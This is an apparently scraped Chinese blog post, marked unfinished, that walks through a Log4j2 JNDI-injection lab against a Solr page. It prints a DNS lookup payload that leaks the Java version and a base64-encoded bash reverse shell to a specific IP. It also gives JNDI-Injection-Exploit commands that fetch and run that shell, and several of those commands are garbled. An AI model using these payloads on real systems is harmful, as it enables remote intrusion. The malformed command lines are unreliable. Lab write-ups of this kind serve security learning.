当前位置: 首页 > news >正文

log4j2漏洞练习(未完成)

      log4j2 是Apache的一个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响的版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响。

      打开靶场后,我们进入这样的一个页面,在/solr/admin/cores的目录下可以上传参数,构造一个参数:${jndi:dns://${sys:java.version}.example.com},其中example.com是从dnslog中随机获取的一个地址

我们将参数提交访问后回到dnslog页面刷新查看就会得到版本信息

然后我们准备尝试反弹shell,先构造pyload

ash -i >& /dev/tcp/http://123.57.239.114/8888 0>&1
//反弹shell,ip为攻击机ipYXNoIC1pID4mIC9kZXYvdGNwL2h0dHA6Ly8xMjMuNTcuMjM5LjExNC84ODg4IDA+JjE=
//编码后的反弹shelljava -jar target/INDI-Injection-Exploit-1.0-SNAPSH0T-all.jar -C "bash -c{echo,[经过base64编码后的命令]}{base64,-d}|bash"-A 「你的vpsip]
//命令模板java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C"bash -c {echo,YXNoIC1pID4mIC9kZXYvdGNwL2h0dHA6Ly8xMjMuNTcuMjM5LjExNC84ODg4IDA+JjE=}|{base64,-d}|bash" -A 123.57.239.114
//最终pyload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -i 192.168.116.128

运行后显示如下代码

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • MyBatis入门如何使用操作数据库及常见错误(yml配置)
  • 删除链表的倒数第N个结点(LeetCode)
  • java中的tcp
  • SpringBoot集成GraalVM创建高性能原生镜像
  • 60个常见的 Linux 指令
  • 淘宝的商品信息缓存体系是如何构建的?
  • 基于多种机器学习的豆瓣电影评分预测与多维度可视化【可加系统】
  • 孟德尔随机化、R语言,报错,如何解决?
  • 【达梦数据库】通过线程pid定位会话SQL
  • Python——继承
  • vue2学习 -- 核心语法
  • 2024下半年,前端的技术风口来了
  • 【保姆级讲解下QT6.3】
  • JavaScript 实现通话计时(时分秒 本示例在uniapp中)
  • 2024小卷Spring Boot3.0教程思维导图整理
  • @jsonView过滤属性
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 【腾讯Bugly干货分享】从0到1打造直播 App
  • CSS盒模型深入
  • egg(89)--egg之redis的发布和订阅
  • JavaScript 奇技淫巧
  • JavaWeb(学习笔记二)
  • Meteor的表单提交:Form
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • Object.assign方法不能实现深复制
  • React的组件模式
  • Twitter赢在开放,三年创造奇迹
  • windows下使用nginx调试简介
  • 闭包,sync使用细节
  • 分类模型——Logistics Regression
  • 记录一下第一次使用npm
  • 爬虫模拟登陆 SegmentFault
  • 使用iElevator.js模拟segmentfault的文章标题导航
  • 小程序开发中的那些坑
  • 阿里云重庆大学大数据训练营落地分享
  • 小白应该如何快速入门阿里云服务器,新手使用ECS的方法 ...
  • ​ssh免密码登录设置及问题总结
  • ​埃文科技受邀出席2024 “数据要素×”生态大会​
  • #、%和$符号在OGNL表达式中经常出现
  • (27)4.8 习题课
  • (9)STL算法之逆转旋转
  • (备份) esp32 GPIO
  • (附源码)计算机毕业设计大学生兼职系统
  • (含笔试题)深度解析数据在内存中的存储
  • (十二)Flink Table API
  • (图文详解)小程序AppID申请以及在Hbuilderx中运行
  • (已解决)什么是vue导航守卫
  • (原創) 人會胖會瘦,都是自我要求的結果 (日記)
  • (转)linux下的时间函数使用
  • (转载)虚幻引擎3--【UnrealScript教程】章节一:20.location和rotation
  • .NET Core 实现 Redis 批量查询指定格式的Key
  • .NET Core、DNX、DNU、DNVM、MVC6学习资料
  • .NET 某和OA办公系统全局绕过漏洞分析
  • .Net 知识杂记
  • /usr/bin/python: can't decompress data; zlib not available 的异常处理